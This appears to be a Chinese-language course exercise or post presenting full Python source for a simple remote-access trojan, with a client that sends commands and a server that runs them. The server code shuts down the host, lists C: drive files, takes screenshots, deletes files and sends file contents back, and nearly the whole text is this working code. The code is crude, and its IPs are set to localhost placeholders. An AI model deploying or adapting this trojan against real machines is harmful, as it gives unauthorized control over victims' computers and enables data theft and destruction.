题目介绍
本程序中源IP 地址和目的IP 地址需要在代码中编写,因此,在不同的主机上运行此木马之前要对程序进行调试。在设置好源、目的IP 地址后,便可以通过client 发送指令,对server 进行操作。下面,对具体功能进行简要的介绍。
- 输出字符串
在服务端输出字符串“Hello world”。
- 关机
令服务端(server)主机在60 秒内关机。
- 取消关机
在关机时限(60 秒)内,可以取消服务端主机关机。
- 获取C 盘文件列表
获取此时服务端(server)主机的C 盘列表
- 截屏
截取此时服务端(server)主机的桌面图像
- 删除
在服务端(server)主机C 盘列表中选取并删除指定文件。
- 上传
在客户端(Client)主机中选取指定文件, 将其内容传送并保存至文件
“myFile.txt”。
- 下载
在服务端(server)主机C 盘列表中选取指定文件,将其内容拷贝至文件
“myFile.txt”,并保存至所选路径下。
代码
client
import socket
host = "127.0.0.1"
port = 8888
def main():
while 1:
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((host, port))
order = get_order()
try:
handle_order(order, client_socket)
except Exception as e:
print("出现异常")
continue
client_socket.close()
def get_order():
print("1.输出字符串")
print("2.关机")
print("3.取消关机")
print("4.获取c盘文件列表")
print("5截屏")
print("6删除")
print("7上传")
print("8下载")
print("0退出")
order = input("输入指令:")
return order
def send_str(client_socket):
my_str = "hello world"
client_socket.send(("say-"+my_str).encode())
return None
def shut_down(client_socket):
client_socket.send("shutdown".encode())
return None
def cancel_shutdown(client_socket):
client_socket.send("cancel".encode())
return None
def get_c(client_socket):
client_socket.send("get_c".encode())
c_list = b''
while 1:
data = client_socket.recv(1024)
if data != b"":
c_list += data
else:
break
print(c_list)
return None
def shot_image(client_socket):
client_socket.send("shot_image".encode())
return None
def delete_file(client_socket):
name = input("从c盘列表选择文件删除:")
client_socket.send(("delete-" + name).encode())
return None
def upload(client_socket):
with open("1.txt", 'r') as f:
file = f.read()
client_socket.send(("upload-" + file).encode())
return None
def download(client_socket):
name = input("从c盘列表选择文件下载:")
client_socket.send(("download-"+name).encode())
result_data = b''
while 1:
data = client_socket.recv(1024)
if data != b"":
result_data += data
else:
break
res = result_data.decode()
with open("myFile.txt", 'w') as file:
file.write(res)
return None
def handle_order(order, client_socket):
if order == '0':
print("谢谢使用")
client_socket.close()
exit()
if order == '1':
send_str(client_socket)
if order == '2':
shut_down(client_socket)
if order == '3':
cancel_shutdown(client_socket)
if order == '4':
get_c(client_socket)
if order == '5':
shot_image(client_socket)
if order == '6':
delete_file(client_socket)
if order == '7':
upload(client_socket)
if order == '8':
download(client_socket)
if __name__ == "__main__":
main()
server
import socket
import os
from PIL import ImageGrab
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "127.0.0.1"
port = 8888
s.bind((host, port))
s.listen(1)
def main():
print("正在尝试连接")
while 1:
client_socket = s.accept()[0]
print("连接成功")
order = client_socket.recv(1024).decode()
try:
execute_order(order, client_socket)
except Exception as e:
print("出了点问题")
continue
client_socket.close()
def split_order(order):
order_list = order.split("-")
return order_list[1]
def execute_order(order, client_socket):
if "say" in order:
param = split_order(order)
print(param)
if "shutdown" in order:
os.system("shutdown -s -t 60")
if "cancel" in order:
os.system("shutdown -a")
if "get_c" in order:
get_c(client_socket)
if "shot_image" in order:
shot_image()
if "delete" in order:
param = split_order(order)
delete_file(param)
if "upload" in order:
param = split_order(order)
upload_file(param)
if "download" in order:
param = split_order(order)
download(param, client_socket)
def get_c(client_socket):
file_name = os.listdir(r'C:\\')
file_list = ""
for file in file_name:
file_list += file + " "
client_socket.send(file_list.encode())
def shot_image():
pic = ImageGrab.grab()
pic.save('shot.jpg')
def delete_file(name):
os.remove(("C:\\" + name))
def upload_file(param):
with open("myFile.txt", 'w') as file:
file.write(param)
def download(param, client_socket):
path = "C:\\"+param
file = os.open(path, os.O_RDWR)
res = os.read(file, 12)
client_socket.send(res)
if __name__ == "__main__":
main()